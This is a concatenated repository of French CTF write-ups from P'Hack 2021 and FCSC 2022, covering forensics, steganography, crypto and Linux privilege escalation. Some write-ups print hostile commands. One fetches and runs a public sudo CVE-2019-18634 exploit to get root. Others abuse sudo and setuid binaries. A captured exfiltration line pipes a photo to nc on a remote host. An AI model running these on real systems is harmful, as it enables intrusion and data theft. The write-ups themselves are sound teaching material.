ZV8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICxnWX4KICAnVj1fICAgICAgICAgIC1AQEQgICAgICAgICAsZ1l+ICcKICAgICAgflw9X18uICAgICAgICAgICAsX196PX5gCiAgICAgICAgICAgJ35+fio9PVkqZn5+fgoKV2VsbCBkb25lLiBUaGUgZmxhZyBpcyBQSEFDS3tkMF9uMHRfdXMzXzFuczNjVXIzX3BSMHQwYzBsfQ== 16 | ``` 17 | 18 | Ce qui signifie : 19 | 20 | ``` 21 | iWs ,W[ 22 | W@@W. g@@[ 23 | i@@@@@s g@@@@W 24 | @@@@@@@W. ,W@@@@@@ 25 | ]@@@@@@@@@W. ,_______. ,m@@@@@@@@i 26 | ,@@@@@@@@@@@@W@@@@@@@@@@@@@@mm_g@@@@@@@@@@[ 27 | d@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 28 | i@@@@@@@A*~~~~~VM@@@@@@@@@@Af~~~~V*@@@@@@@@@i 29 | @@@@@A~ 'M@@@@@@A` 'V@@@@@@b 30 | d@@@*` Y@@@@f V@@@@@. 31 | i@@A` M@@P V@@@b 32 | ,@@A '@@ !@@@. 33 | W@P @[ '@@W 34 | d@@ , ]! ]@@b 35 | g@@[ ,W@@s ] ,W@@s @@@i 36 | i@@@[ W@@@@i ] W@@@@i @@@@i 37 | i@@@@[ @@@@@[ ] @@@@@[ @@@@@i 38 | g@@@@@[ @@@@@! @[ @@@@@[ @@@@@@i 39 | d@@@@@@@ !@@@P iAW !@@@A ]@@@@@@@i 40 | W@@@@@@@@b '~~ ,Z Yi '~~ ,@@@@@@@@@ 41 | '*@@@@@@@@s Z` Y. ,W@@@@@@@@A 42 | 'M@@@*f**W. ,Z Vs ,W*~~~M@@@f 43 | 'M@ 'Vs. ,z~ 'N_ ,Z~ d@P 44 | M@@@ ~\-__ __z/` ,gmW@@mm_ '+e_. __=/` ,@@@@ 45 | 'VMW g@@@@@@@@@W ~~~ ,WAf 46 | ~N. @@@@@@@@@@@! ,Z` 47 | V. !M@@@@@@@@f gf- 48 | 'N. '~***f~ ,Z` 49 | Vc. _Zf 50 | ~e_ ,gY~ 51 | 'V=_ -@@D ,gY~ ' 52 | ~\=__. ,__z=~` 53 | '~~~*==Y*f~~~ 54 | 55 | Well done. The flag is PHACK{d0_n0t_us3_1ns3cUr3_pR0t0c0l} 56 | ``` 57 | 58 | 59 | 60 | -------------------------------------------------------------------------------- /2021/phack/reseau/tenet.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/phack/reseau/tenet.pcapng -------------------------------------------------------------------------------- /2021/phack/reseau/thief.md: -------------------------------------------------------------------------------- 1 | # Thief - 256 pts 2 | 3 | > Vous venez de découvrir quelque chose d'étrange en examinant un dump réseau de votre entreprise. 4 | > Analysez ce fichier et remontez l'alerte si c'est nécessaire. 5 | > 6 | > Artiste : `@Eagleslam` 7 | > 8 | > [dump.pcapng](dump2.pcapng) 9 | 10 | Je crois que je vous ai déjà dit que le shell était puissant : 11 | 12 | ``` 13 | $ tshark -r dump.pcapng -T fields -e dns.qry.name | grep .phack.fr | uniq | cut -d . -f 1 | xxd -r -ps 14 | {"index": "1", "data": "+"}{"index": "2", "data": "*"}{"index": "3", "data": "-"}{"index": "4", "data": "/"}{"index": "5", "data": "+"}{"index": "6", "data": "+"}{"index": "7", "data": "/"}{"index": "8", "data": "*"}{"index": "9", "data": "-"}{"index": "10", "data": "/"}{"index": "11", "data": "_"}{"index": "12", "data": "_"}{"index": "13", "data": "_"}{"index": "14", "data": " "}{"index": "15", "data": " "}{"index": "16", "data": "P"}{"index": "17", "data": "H"}{"index": "18", "data": "A"}{"index": "19", "data": "C"}{"index": "20", "data": "K"}{"index": "21", "data": "{"}{"index": "22", "data": "3"}{"index": "23", "data": "x"}{"index": "24", "data": "f"}{"index": "25", "data": "1"}{"index": "26", "data": "l"}{"index": "27", "data": "t"}{"index": "28", "data": "R"}{"index": "29", "data": "4"}{"index": "30", "data": "t"}{"index": "31", "data": "i"}{"index": "32", "data": "0"}{"index": "33", "data": "n"}{"index": "34", "data": "_"}{"index": "35", "data": "t"}{"index": "36", "data": "h"}{"index": "37", "data": "R"}{"index": "38", "data": "o"}{"index": "39", "data": "U"}{"index": "40", "data": "g"}{"index": "41", "data": "h"}{"index": "42", "data": "_"}{"index": "43", "data": "d"}{"index": "44", "data": "N"}{"index": "45", "data": "s"}{"index": "46", "data": "}"}{"index": "47", "data": " "}{"index": "48", "data": " "}{"index": "49", "data": "_"}{"index": "50", "data": "_"}{"index": "51", "data": "_"}{"index": "52", "data": "+"}{"index": "53", "data": "/"}{"index": "54", "data": "*"}{"index": "55", "data": "-"}{"index": "56", "data": "+"}{"index": "57", "data": "/"}{"index": "58", "data": "*"}{"index": "59", "data": "-"}{"index": "60", "data": "/"}{"index": "61", "data": "+"}{"index": "62", "data": "."} 15 | ``` 16 | 17 | Alors au lieu de radoter ~~et comme je maîtrise pas bien `sed`~~ je vais aussi vous montrer à quel point Sublime Text est puissant : 18 | 19 | ![Sublime Text trop puissant](./sublime-text.gif) 20 | 21 | Le raccourci clavier magique qui sélectionne toutes les occurrences c'est `ALT+F3` et après il suffit de faire `CTRL+SUPPR` pour supprimer des mots entiers. 22 | 23 | -------------------------------------------------------------------------------- /2021/phack/reverse/no-stings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/phack/reverse/no-stings -------------------------------------------------------------------------------- /2021/phack/stegano/aliens.md: -------------------------------------------------------------------------------- 1 | # Aliens - 256 pts 2 | 3 | > Enfiiiiin!! Nous avons finalement reçu une réponse à nos signaux intergalactiques. Un son a été capté et enregistré venant de l'espace. C'est sûr ça doit vouloir dire quelque chose. 4 | > 5 | > 6 | > Artiste : `@Eagleslam` 7 | > 8 | > [weird.wav](./weird.wav) 9 | 10 | Le son s'ouvre très bien avec n'importe quel logiciel (enfin un logiciel qui lit les sons hein, pas Paint) et est audible mais ça ressemble en effet à des bruits d'aliens. 11 | 12 | Nous allons l'analyser avec [Audacity](https://www.audacityteam.org/). Il suffit simplement d’afficher le spectrogramme (l'amplitude de chaque fréquence dans le temps) : 13 | 14 | ![utilisation d'Audacity](./audacity.gif) 15 | 16 | Encore une fois l'étape la plus compliquée est de recopier le flag sans faute x) -------------------------------------------------------------------------------- /2021/phack/stegano/alter_egg-o.md: -------------------------------------------------------------------------------- 1 | # Alter Egg-o - 256 pts 2 | 3 | > L'agent Smith de la HSA (Hack Secret Agency) a retiré trop rapidement la clé USB de son PC (ce n00b !!). La preuve qu'il voulait vous montrer semble corrompue. 4 | > 5 | > Montrer lui que vous pouvez lui sauver la mise et récupérer ce fichier. 6 | > 7 | > Artiste : `@Eagleslam` 8 | > 9 | > [altered.png](./altered.png) 10 | 11 | En essayant d'ouvrir ce fichier avec mon visualiseur d'images j'obtiens le message suivant : 12 | 13 | > **Impossible de charger l'image « altered.png ».** 14 | > 15 | > Erreur fatale lors de la lecture du fichier d'image PNG : Not a PNG file 16 | 17 | Allons demander son avis à la commande `file` : 18 | 19 | ``` 20 | $ file altered.png 21 | altered.png: data 22 | ``` 23 | 24 | En effet donc le fichier est tellement amoché que l'on ne reconnaît même plus que c'est un PNG. Pour rappel, la plupart des types de fichier ne sont pas définis par l'extension du nom de fichier (le nom c'est juste pour les humains) mais par les premiers octets du fichier appelés *magic number*. Un petit tour sur [la page Wikipédia du format PNG](https://fr.wikipedia.org/wiki/Portable_Network_Graphics) nous indique que ce *magic number* est `89 50 4E 47 0D 0A 1A 0A` (en hexadécimal). 25 | 26 | Regardons le début de notre fichier altéré : 27 | 28 | ``` 29 | $ xxd altered.png | head 30 | 00000000: dead beef 0d0a 1a0a 0000 000d 4948 4452 ............IHDR 31 | 00000010: 0000 04e2 0000 02bf 0806 0000 00c4 4662 ..............Fb 32 | 00000020: 5500 001f 947a 5458 7452 6177 2070 726f U....zTXtRaw pro 33 | 00000030: 6669 6c65 2074 7970 6520 6578 6966 0000 file type exif.. 34 | 00000040: 78da ad9b 6992 2439 72a5 ffe3 143c 0276 x...i.$9r....<.v 35 | 00000050: 851e 07ab c8dc 608e cfef 5944 5557 7537 ......`...YDUWu7 36 | 00000060: 39a4 c864 4a46 467a b89b c174 798b 0219 9..dJFFz...ty... 37 | 00000070: eeff fd3f 2ffc 07bf 2cd9 08b5 d9e8 de7b ...?/...,......{ 38 | 00000080: e457 f5ea 79f2 cd88 3fbf fcfb 9a62 fdbe .W..y...?....b.. 39 | 00000090: 7ebf 6efe fea5 7fff edf5 b05e ccdf 7799 ~.n........^..w. 40 | ``` 41 | 42 | Les premiers octets (en hexadécimal) sont : `dead beef 0d0a 1a0a`. *Dead beef* est l'une des rares expressions que l'on peut écrire avec les 6 premières lettres de l’alphabet (les seules dispo en hexa) le fichier a clairement été altéré manuellement sur les 4 premiers octets, le reste du *magic number* est valide. Sauvegardons le code hexadécimal dans un fichier texte pour pouvoir l'éditer : 43 | 44 | ``` 45 | $ xxd altered.png > altered.png.hex 46 | ``` 47 | 48 | Il ne vous reste plus qu'à vous munir de votre éditeur de texte préféré pour remplacer `dead beef` par `8950 4e47`. Et ensuite on fait l'opération inverse pour recréer le fichier : 49 | 50 | ``` 51 | $ cat altered.png.hex | xxd -r > altered2.png 52 | ``` 53 | 54 | Et l'image s'affiche, elle n'était presque pas altérée ! 55 | 56 | ![l'image récupérée avec le flag](./altered2.png) 57 | 58 | Reste l'étape la plus galère : recopier le flag sans faute. -------------------------------------------------------------------------------- /2021/phack/stegano/altered.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/phack/stegano/altered.png -------------------------------------------------------------------------------- /2021/phack/stegano/altered2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/phack/stegano/altered2.png -------------------------------------------------------------------------------- /2021/phack/stegano/audacity.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/phack/stegano/audacity.gif -------------------------------------------------------------------------------- /2021/phack/stegano/caumunikassion.md: -------------------------------------------------------------------------------- 1 | # Caumunikassion - 128 pts 2 | 3 | > Le nouveau stagiaire en communication du P'Hack CTF nous semble étrange. Nous avons peur qu'il utilise ses compétences pour exfiltrer des informations sensibles. Il a principalement travaillé sur le site https://ctf.phack.fr. 4 | > 5 | > 6 | > Artiste : `@Eagleslam` 7 | 8 | La page web en question est la page d'accueil du CTFd et elle semble parfaitement normale. Rien dans le code de la page. Essayons de télécharger le gros logo PNG qui est affiché sur cette page : [phack_white.png](./phack_white.png). 9 | 10 | On rappelle la règle n°1 de tout bon CTF : toujours commencé par un `strings` : 11 | 12 | ``` 13 | $ strings phack_white.png 14 | IHDR 15 | sRGB 16 | pHYs 17 | PLTE 18 | TtRNS 19 | [...] 20 | Bw&q 21 | )tEXtComment 22 | https://pastebin.com/raw/xjyzhxYZ 23 | IEND 24 | ``` 25 | 26 | Un petit tour sur l'URL donnée nous offre le flag : 27 | 28 | ``` 29 | BRAVO ! Voici le flag : 30 | PHACK{e4sy_st3g4n0_rigH7?} 31 | ``` 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /2021/phack/stegano/phack_white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/phack/stegano/phack_white.png -------------------------------------------------------------------------------- /2021/phack/stegano/weird.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/phack/stegano/weird.wav -------------------------------------------------------------------------------- /2021/phack/systeme/sudoku-v2.md: -------------------------------------------------------------------------------- 1 | # Sudoku v2 - 256 pts 2 | 3 | Énoncé : 4 | 5 | > L'administrateur du serveur a voulu vous aider en ajoutant une aide visuelle lors de la saisie de votre mot de passe. 6 | > Hum Hum.. C'est pas une bonne idée ! 7 | > 8 | > === Connexion SSH === 9 | > Login : `padawan` 10 | > Mdp : `padawan` 11 | > Serveur :` sudoku2.phack.fr` 12 | > 13 | > Artiste : `@Eagleslam` 14 | 15 | ``` 16 | $ ssh padawan@sudoku2.phack.fr 17 | 18 | Bienvenue ! 19 | 20 | Le flag se trouve dans /home/master/flag.txt 21 | Malheureusement, tu n'as pas les droits de le lire. 22 | 23 | Trouves un moyen d'y accéder par toi même. 24 | 25 | Bonne chance... 26 | 27 | 28 | ............... 29 | -bash-5.1$ cat note.txt 30 | 31 | 32 | Cher Padawan, 33 | 34 | Je sais que tu te trompes souvent de mot de passe. 35 | J'ai donc ajouté une fonctionnalité qui permet d'afficher des * dès que tu saisis un caractère (sudo). 36 | Cela devrait t'aider. 37 | 38 | Bon courage, 39 | Ton Master 40 | 41 | .............. 42 | 43 | ``` 44 | 45 | Cette fois je lis les flags du challenges et je vois qu'il y a "cve". Après une [petite recherche sur Internet](https://www.startpage.com/row/search?q=sudo%20password%20feedback%20vulnerability) on tombe sur ce quon cherche : 46 | 47 | > Buffer overflow when pwfeedback is set in sudoers, CVE-2019-18634 48 | 49 | On cherche le nom de la CVE + "exploit" et on tombe sur ce [repo GitHub](https://github.com/Plazmaz/CVE-2019-18634). Plus qu'à suivre les consignes : 50 | 51 | ``` 52 | $ wget https://raw.githubusercontent.com/Plazmaz/CVE-2019-18634/master/self-contained.sh 53 | Connecting to raw.githubusercontent.com (185.199.110.133:443) 54 | saving to 'self-contained.sh' 55 | self-contained.sh 100% |******************************************************************************************************************************************************| 1305 0:00:00 ETA 56 | 'self-contained.sh' saved 57 | $ chmod +x self-contained.sh 58 | $ ./self-contained.sh 59 | Connecting to raw.githubusercontent.com (185.199.111.133:443) 60 | saving to 'socat' 61 | socat 100% |******************************************************************************************************************************************************| 366k 0:00:00 ETA 62 | 'socat' saved 63 | /usr/lib/gcc/x86_64-alpine-linux-musl/10.2.1/../../../../x86_64-alpine-linux-musl/bin/ld: cannot open output file /tmp/pipe: Permission denied 64 | collect2: error: ld returned 1 exit status 65 | [sudo] password for padawan: 66 | Sorry, try again. 67 | # exit 68 | Sorry, try again. 69 | sudo: 3 incorrect password attempts 70 | Exploiting! 71 | ``` 72 | 73 | Et Bingo, on est root : 74 | 75 | ``` 76 | # id 77 | uid=0(root) gid=65533(nogroup) groups=65533(nogroup),65533(nogroup) 78 | # cat /home/master/flag.txt 79 | PHACK{*_****_****_****_***_**_*_****_***} 80 | ``` 81 | 82 | -------------------------------------------------------------------------------- /2021/phack/systeme/sudoku.md: -------------------------------------------------------------------------------- 1 | # Sudoku - 128 pts 2 | 3 | Énoncé : 4 | 5 | > Lors de l'un de vos tests de sécurité, vous compromettez un serveur applicatif. 6 | > Prouvez à vos clients que vous pouvez obtenir des informations sensibles d'autres utilisateurs. 7 | > 8 | > === Connexion SSH === 9 | > Login : `padawan` 10 | > Mdp : `padawan` 11 | > Serveur :` sudoku.phack.fr` 12 | > 13 | > Artiste : `@Eagleslam` 14 | 15 | 16 | 17 | On se connecte en SSH à la machine indiqué et le message suivant apparaît : 18 | 19 | ``` 20 | Bienvenue ! 21 | 22 | Le flag se trouve dans /home/master/flag.txt 23 | Malheureusement, tu n'as pas les droits de le lire. 24 | 25 | Trouves un moyen d'y accéder par toi même. 26 | 27 | Bonne chance... 28 | ``` 29 | 30 | Nous avons un shell bash dans `/home/padawan/`. Un fichier `note.txt` se trouve dans notre home : 31 | 32 | ``` 33 | --------------------- 34 | 35 | Cher Padawan, 36 | 37 | N'oublies pas de faire des sauvegardes régulières de tes documents personnels. 38 | Le plus simple est de créer une archive (avec zip ou tar) je pense. 39 | 40 | Bon courage, 41 | Ton Master 42 | 43 | --------------------- 44 | ``` 45 | 46 | Le fichier `/home/master/flag.txt` a les permissions suivantes : 47 | 48 | ``` 49 | -r-------- 1 master root 30 Apr 1 22:56 flag.txt 50 | ``` 51 | 52 | Étant donné le nom du challenge, on va tout de suite s'intéresser à la commande `sudo` : 53 | 54 | ``` 55 | $ sudo -l 56 | User padawan may run the following commands on sudoku: 57 | (master) NOPASSWD: /usr/bin/zip 58 | 59 | ``` 60 | 61 | Bingo ! L'utilisateur `padawan` peut utiliser la commande `zip` en tant que `master`. 62 | 63 | ``` 64 | $ cd /home/master/ 65 | $ ls 66 | flag.txt 67 | $ sudo -u master zip flag.zip flag.txt 68 | adding: flag.txt (stored 0%) 69 | $ ls 70 | flag.txt flag.zip 71 | $ cd 72 | $ unzip ../master/flag.zip 73 | Archive: ../master/flag.zip 74 | extracting: flag.txt 75 | $ ls 76 | flag.txt note.txt 77 | $ cat flag.txt 78 | PHACK{U_h4v3_tH3_suP3r_P0w3r} 79 | ``` 80 | 81 | -------------------------------------------------------------------------------- /2021/phack/systeme/to-be-or-not.md: -------------------------------------------------------------------------------- 1 | # To B, or ! to B - 128 pts 2 | 3 | Énoncé : 4 | 5 | > Votre client vous remercie pour votre travail et vous assure qu'il a fait les modifications nécessaires pour améliorer la sécurité de son serveur applicatif. 6 | > Prouvez-lui que ce n'est toujours pas suffisant. 7 | > 8 | > 9 | > === Connexion SSH === 10 | > Login : `padawan` 11 | > Mdp : `padawan` 12 | > Serveur :` toBOrNot2B.phack.fr` 13 | > 14 | > Artiste : `@Eagleslam` 15 | 16 | On se connecte en SSH à la mahine : 17 | 18 | ``` 19 | Bienvenue ! 20 | 21 | Le flag se trouve dans /home/master/flag.txt 22 | Malheureusement, tu n'as pas les droits de le lire. 23 | 24 | Trouves un moyen d'y accéder par toi même. 25 | 26 | Bonne chance... 27 | ``` 28 | 29 | Un nouveau message nous attend dans notre home : 30 | 31 | ``` 32 | Cher Padawan, 33 | 34 | C'est encore moi. 35 | Tu as pu lire mes fichiers personnels. Tu deviens de plus en plus fort. 36 | 37 | J'ai modifié la configuration du serveur pour éviter cela. 38 | 39 | A plus tard, 40 | Ton Master 41 | ``` 42 | 43 | On essaye de voir la configuration sudo : 44 | 45 | ``` 46 | $ sudo -l 47 | -bash: sudo: command not found 48 | ``` 49 | 50 | Comme ça c'est réglé... 51 | 52 | N'ayant pas d'idées (et n'ayant pas vu le "suid" dans les tags du challenge) je décide de faire mon bourrin. Je vais utiliser [LinEnum](https://github.com/rebootuser/LinEnum) : 53 | 54 | ``` 55 | $ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh 56 | Connecting to raw.githubusercontent.com (185.199.111.133:443) 57 | saving to 'LinEnum.sh' 58 | LinEnum.sh 100% |******************************************************************************************************************************************************| 46631 0:00:00 ETA 59 | 'LinEnum.sh' saved 60 | $ chmod +x LinEnum.sh 61 | $ ./LinEnum.sh 62 | ``` 63 | 64 | Voici un extrait du rapport : 65 | 66 | ``` 67 | [-] SUID files: 68 | -rwsr-xr-x 1 master root 14048 Mar 15 12:52 /usr/bin/python3.8 69 | ``` 70 | 71 | Python a le bit Setuid ! Cela signifie que l'on peut l'exécuter en tant que `master` : 72 | 73 | ``` 74 | $ /usr/bin/python3.8 -c "print(open('/home/master/flag.txt').read())" 75 | PHACK{U_4r3_hiM_bu7_h3's_n07_U} 76 | ``` 77 | 78 | -------------------------------------------------------------------------------- /2022/FCSC/README.md: -------------------------------------------------------------------------------- 1 | # France CyberSecurity Challenge 2 | 3 | Le FCSC est organisé tous les ans par l'ANSSI dans le but de recruter l'équipe qui représentera la France à l'European CyberSecurity Challenge (ECSC) à Viennes en septembre 2022. L'équipe est constituée de 5 juniors (moins de 21 ans) et 5 seniors (21 à 25 ans) auxquels s'ajoutent deux remplaçant pour chaque catégorie. 4 | 5 | Je me classe finalement 9e junior (contre 32e l'année dernière !), 2e dans la catégorie hardware, 3e en misc et 2e en Side Channel and Fault Attacks. Ma 2e place en hardware me vaut d'être sélectionné pour les entretiens de recrutement ! 6 | 7 | Notes : Les challenges sont ici listés approximativement dans l'ordre chronologique où je les ai résolus. Le score est inversement proportionnel au nombres de personnes ayant résolu chaque challenge. 8 | 9 | ### hardware 10 | 11 | - [I2CyouToo](./hardware/i2c/README.md) - 198 pts 12 | - [Daddy Morse](./hardware/daddy_morse/README.md) - 197 pts 13 | - [Qui est-ce ?](./hardware/qui_est_ce/README.md) - 146 pts 14 | - [Mommy Morse](./hardware/mommy_morse/README.md) - 324 pts 15 | 16 | ### forensics 17 | 18 | - [C3PO](./forensics/c3po/README.md) - 100 pts 19 | - [Échec OP](./forensics/echec_op/README.md) (3 parties) - 20+116+141 = 277 pts 20 | - [À l'ancienne](./forensics/a_lancienne/README.md) (non résolu) - 226 pts 21 | 22 | ### crypto 23 | 24 | - [Shuffled](./crypto/shuffled/README.md) - 100 pts 25 | - [Hashish](./crypto/hashish/README.md) - 336 pts 26 | 27 | ### misc 28 | 29 | - [Guess Me Too](./misc/guessme2/README.md) - 342 pts 30 | 31 | ### Side Channel and Fault Attacks 32 | 33 | - [Never Skip Class Nor Multiplication](./side_channel/nscnm/README.md) - 308 pts 34 | - [Never Skip Class Nor Squaring](./side_channel/nscns/README.md) - 338 pts 35 | 36 | 37 | 38 | Quelques extraits du classement : 39 | 40 | ![top 100 junior](top100_junior.png) 41 | 42 | ![top 100 général](top100_general.png) 43 | 44 | ![top 3 par catégorie](top3_categories.png) 45 | 46 | ![matrice junior](matrice_junior.png) 47 | 48 | Et les challenges que j'ai résolus : 49 | 50 | ![challenges](challenges.png) 51 | 52 | 53 | 54 | Merci aux orgas pour ce super CTF !! 55 | -------------------------------------------------------------------------------- /2022/FCSC/challenges.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/challenges.png -------------------------------------------------------------------------------- /2022/FCSC/crypto/hashish/hashish.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3.9 2 | import os 3 | 4 | try: 5 | flag = open("flag.txt", "rb").read() 6 | assert len(flag) == 70 7 | 8 | flag = tuple(os.urandom(16) + flag) 9 | 10 | challenge = hash(flag) 11 | print(f"{challenge = }") 12 | 13 | a = int(input(">>> ")) 14 | b = int(input(">>> ")) 15 | 16 | if hash((a, b)) == challenge: 17 | print(flag) 18 | else: 19 | print("Try harder :-)") 20 | except: 21 | print("Error: please check your input") 22 | -------------------------------------------------------------------------------- /2022/FCSC/crypto/shuffled/README.md: -------------------------------------------------------------------------------- 1 | # Shuffled 2 | 3 | Difficulté : :star: 4 | 5 | Énoncé : 6 | 7 | > Oops, nous avons mélangé les caractères du flag. Pourrez-vous les remettre dans l'ordre ? 8 | 9 | Fichiers : 10 | 11 | - [output.txt](./output.txt) 12 | - [shuffled.py](./shuffled.py) 13 | 14 | 15 | 16 | ### Découverte 17 | 18 | Le fichier texte contient en effet les caractères typiques d'un flag mais dans le mauvaise ordre : 19 | 20 | ``` 21 | f668cf029d2dc4234394e3f7a8S9f15f626Cc257Ce64}2dcd93323933d2{F1a1cd29db 22 | ``` 23 | 24 | 25 | 26 | et le fichier Python : 27 | 28 | ```python 29 | import random 30 | 31 | flag = list(open("flag.txt", "rb").read().strip()) 32 | random.seed(random.randint(0, 256)) 33 | random.shuffle(flag) 34 | print(bytes(flag).decode()) 35 | ``` 36 | 37 | 38 | 39 | Rien de bien compliqué : on initialise random avec une seed entre 0 et 256 puis on *shuffle* les caractères donc ça fait peut de combinaisons à tester. 40 | 41 | 42 | 43 | ### Résolution 44 | 45 | Il va falloir comprendre comment fonctionne `random.shuffle` pour faire la fonction inverse pour une seed donnée. Pour cela pas besoin de regarder le code de random, il suffier de créer une liste d'éléments numérotés dans l'ordre, de la *shuffle* et on a une map qui décrit comment faire l'opération inverse. On fait cela pour les 257 possibilités et comme on sait que le flag commence forcément par `FCSC{` il devrait y avoir peu de solutions : 46 | 47 | ```python 48 | import random 49 | 50 | output = open("output.txt").read().strip() 51 | 52 | l = list(range(len(output))) # liste triée qui sera copiée et mélangée 53 | flag = list("x"*len(output)) 54 | 55 | for s in range(257): 56 | nl = l[:] 57 | random.seed(s) 58 | random.shuffle(nl) 59 | 60 | for i in range(len(output)): 61 | flag[nl[i]] = output[i] 62 | if flag[:4] == list("FCSC"): 63 | print("".join(flag)) 64 | ``` 65 | 66 | En effet, une seule chaîne de caractère est print : `FCSC{d93d32485aec7dc7622f13cd93b922363911c36d2ffd4f829f4e3264d0ac6952}` 67 | -------------------------------------------------------------------------------- /2022/FCSC/crypto/shuffled/output.txt: -------------------------------------------------------------------------------- 1 | f668cf029d2dc4234394e3f7a8S9f15f626Cc257Ce64}2dcd93323933d2{F1a1cd29db 2 | -------------------------------------------------------------------------------- /2022/FCSC/crypto/shuffled/shuffled.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | flag = list(open("flag.txt", "rb").read().strip()) 4 | random.seed(random.randint(0, 256)) 5 | random.shuffle(flag) 6 | print(bytes(flag).decode()) 7 | -------------------------------------------------------------------------------- /2022/FCSC/forensics/a_lancienne/cap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/forensics/a_lancienne/cap -------------------------------------------------------------------------------- /2022/FCSC/forensics/a_lancienne/file3_crop.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/forensics/a_lancienne/file3_crop.png -------------------------------------------------------------------------------- /2022/FCSC/forensics/c3po/README.md: -------------------------------------------------------------------------------- 1 | # C3PO 2 | 3 | Difficulté : :star: 4 | 5 | Énoncé : 6 | 7 | > Pour votre première analyse, on vous confie le téléphone du PDG de *GoodCorp*. 8 | > 9 | > Ce dernier est certain que les précieuses photos stockées sur son téléphone sont récupérées par un acteur malveillant. 10 | > 11 | > Vous décidez de mettre en place une capture réseau sur le téléphone, afin de voir ce qu'il en est... 12 | 13 | Fichier : 14 | 15 | - [capture.cap](./capture.cap) 16 | 17 | ### Essais infructueux 18 | 19 | Le fichier est un peu long (72 000 paquets pour 7 minutes d’enregistrement). Je l'ouvre dans Wireshark et je commence par filtrer seulement les requêtes DNS pour chercher un domaine louche. Je vois `a.espncdn.com`. Pour moi, `espn` est un diminutif de `espion` donc je filtre les discussion avec cet hôte. C'est du HTTP, j'arrive à extraire un PNG... Et c'est le logo d'un média sportif x) 20 | 21 | À côté de ça, des requêtes DNS AAAA vers 4 domaines sans aucun sens tels que `ltclalbmngxxfnk` ont lieu mais c'est beaucoup trop peu pour exfiltrer des données. 22 | 23 | 24 | 25 | ### Résolution 26 | 27 | Manquant d'idée je tente la facilité : 28 | 29 | ``` 30 | $ strings capture.cap | grep -i fcsc 31 | EVOPWM4JZra3yOcEM13BxP+rZP8Oph3AlEZyhh3l+H7jXR8xhS+1Y1IwfcScjmASMachmIKYgEtB 32 | elgwWyhKML1ENvn0diLeVD7fK4NRmL5dytM2HojJ1ZfcSC63H6gTP4GYLJjaPh+MwvQyisxMjiHx 33 | lRW2lxK0EuPZIkTR58Ov58EAVuoKkdcLULR4yBo8pLXc+DU0jDJ1hQrpJw3y39eT/o8e9actfCsc 34 | 18faSIJ5eagFBJPEl9Q2TKTIhzvKvqTIF8WXf0gwqdPkNBCTIJi0KfJvE8yu7gGK+qmisstFCSc 35 | 9HZAJMEEu/wTBJMmP05M91BmfL4imMCXSxFMWg8mFVx+J8GkxZd/SDBp3Zf/CMFcSC1pRYspFyWY 36 | ``` 37 | 38 | Le flag n'est pas en clair dans la capture mais on voit beaucoup de base64 ce qui est étrange. J'applique le filtre `frame contains elgwWyhKML1ENvn0diLeVD7fK4NRmL5dytM2HojJ1ZfcSC63H6gTP4GYLJjaPh` pour voir d'où cela provient. Je vois que c'est un push tcp vers `172.18.0.1:1338`. En appliquant le filtre `ip.addr == 172.18.0.1` on voit qu'il y a énormément d'échange vers le port 1337 et 1338 de cet hôte. Cela représente 20% des paquets du fichiers donc j'aurais peut-être dû me balader d'avantage dans le fichier avant de filtrer seulement les requête DNS... 39 | 40 | On fait clic droit sur une trame TCP vers `172.18.0.1:1337` puis *Suivre... Flux TCP* et on voit des données contenant entre autre `Metasploit-JavaPayload`. On fait de même avec la première trame vers le port 1338 et on voit cela : 41 | 42 | ``` 43 | cat /sdcard/DCIM/flag.png | base64 | nc 172.18.0.1 1338 44 | ``` 45 | 46 | On affiche la communication TCP suivante sur le port 1338 et on voit un gros paquet de base64 du client vers le serveur. On clique sur *Save As...* pour enregistrer cela et le décoder : 47 | 48 | ``` 49 | base64 -d flag.b64 > flag.png 50 | ``` 51 | 52 | On récupère une jolie image : 53 | 54 | ![flag](flag.png) 55 | 56 | -------------------------------------------------------------------------------- /2022/FCSC/forensics/c3po/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/forensics/c3po/flag.png -------------------------------------------------------------------------------- /2022/FCSC/hardware/daddy_morse/client.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import numpy as np 3 | import base64 4 | 5 | HOST = args.HOST or "challenges.france-cybersecurity-challenge.fr" 6 | PORT = args.PORT or 2251 7 | 8 | c = remote(HOST, PORT) 9 | 10 | hello_signal = np.fromfile("signal.iq", dtype = np.complex64) 11 | 12 | encoded_signal = base64.b64encode(hello_signal.tobytes()) 13 | 14 | c.recvuntil(b"> ") 15 | c.sendline(encoded_signal) 16 | print(c.recvline()) 17 | -------------------------------------------------------------------------------- /2022/FCSC/hardware/daddy_morse/diff.png: -------------------------------------------------------------------------------- 